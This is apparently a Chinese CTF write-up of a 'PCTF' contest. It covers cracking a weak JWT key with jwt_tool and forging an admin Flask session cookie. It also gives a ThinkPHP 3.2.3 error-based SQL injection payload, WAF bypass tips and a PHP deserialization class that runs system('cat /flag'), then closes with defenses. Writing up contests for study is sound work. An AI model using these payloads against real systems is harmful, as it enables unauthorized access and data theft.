PCTF比赛中的JWT伪造与Flask会话篡改实战解析

发布时间:2026/10/26 10:46:11
PCTF比赛中的JWT伪造与Flask会话篡改实战解析

1. PCTF解题思路全解析

最近在整理PCTF比赛的解题过程,发现其中涉及不少典型的安全攻防技术点。作为CTF老玩家,我想把这次比赛中几个关键题目的解题思路完整记录下来,特别是那些涉及JWT伪造、Flask会话篡改和SQL注入的实战案例。

2. JWT安全攻防实战

2.1 JWT基础结构分析

JSON Web Token由三部分组成:Header、Payload和Signature。比赛中遇到的题目使用了HS256算法,关键漏洞在于密钥强度不足。通过暴力破解获取密钥后,我们可以任意修改Payload内容。

典型的问题Token示例:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNjU4NzM1NDAwfQ.7d8f9g0h1j2k3l4m5n6o7p8q9r0s1t2u3v4w5x6y7z

2.2 实战破解过程

使用jwt_tool进行破解:

python3 jwt_tool.py eyJhbGciOiJIUz... -C -d rockyou.txt

关键技巧:当遇到时间戳校验时,可以尝试修改iat字段为近期的UNIX时间戳

3. Flask会话伪造技术

3.1 会话机制分析

Flask使用签名cookie存储会话信息。通过flask_session_cookie_manager3工具,我们可以解码和重新编码会话cookie:

python3 flask_session_cookie_manager3.py decode -c "session_cookie_value" -s "weak_secret"

3.2 实战案例

比赛中发现题目使用了默认的secret_key,直接使用以下命令伪造admin会话:

python3 flask_session_cookie_manager3.py encode -s "secret" -t "{'user_id':'admin'}"

4. SQL注入漏洞利用

4.1 基础注入手法

遇到ThinkPHP 3.2.3框架的题目,存在典型的SQL注入漏洞。使用以下payload进行测试:

/index.php?m=Home&c=Index&a=test&id[0]=exp&id[1]=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)

4.2 进阶绕过技巧

当遇到WAF过滤时,可以使用以下方法绕过:

  • 使用/**/替代空格
  • 使用hex编码敏感关键词
  • 利用字符串拼接函数

5. PHP反序列化漏洞

5.1 漏洞原理

题目中发现了存在风险的unserialize()调用。构造恶意序列化数据的步骤:

  1. 找到包含__wakeup或__destruct魔术方法的类
  2. 构造调用危险函数的对象链
  3. 生成序列化字符串

5.2 利用实例

<?php class Exploit { public $cmd = "cat /flag"; public function __destruct() { system($this->cmd); } } echo serialize(new Exploit()); ?>

6. 防御方案建议

6.1 JWT安全实践

  • 使用足够强度的密钥(至少32位随机字符串)
  • 设置合理的过期时间
  • 对敏感操作要求二次验证

6.2 SQL注入防护

  • 使用预编译语句
  • 严格过滤输入参数
  • 最小化数据库账户权限

6.3 会话安全加固

  • 使用强密钥(可通过os.urandom生成)
  • 定期更换会话密钥
  • 对敏感操作进行二次验证

7. 比赛经验总结

在实际比赛中,时间管理非常重要。建议:

  1. 先快速扫描所有题目
  2. 标记出自己擅长的题型
  3. 合理分配解题时间
  4. 遇到卡壳及时换题

特别注意:真实环境中测试漏洞必须获得授权,未经许可的测试可能涉及法律风险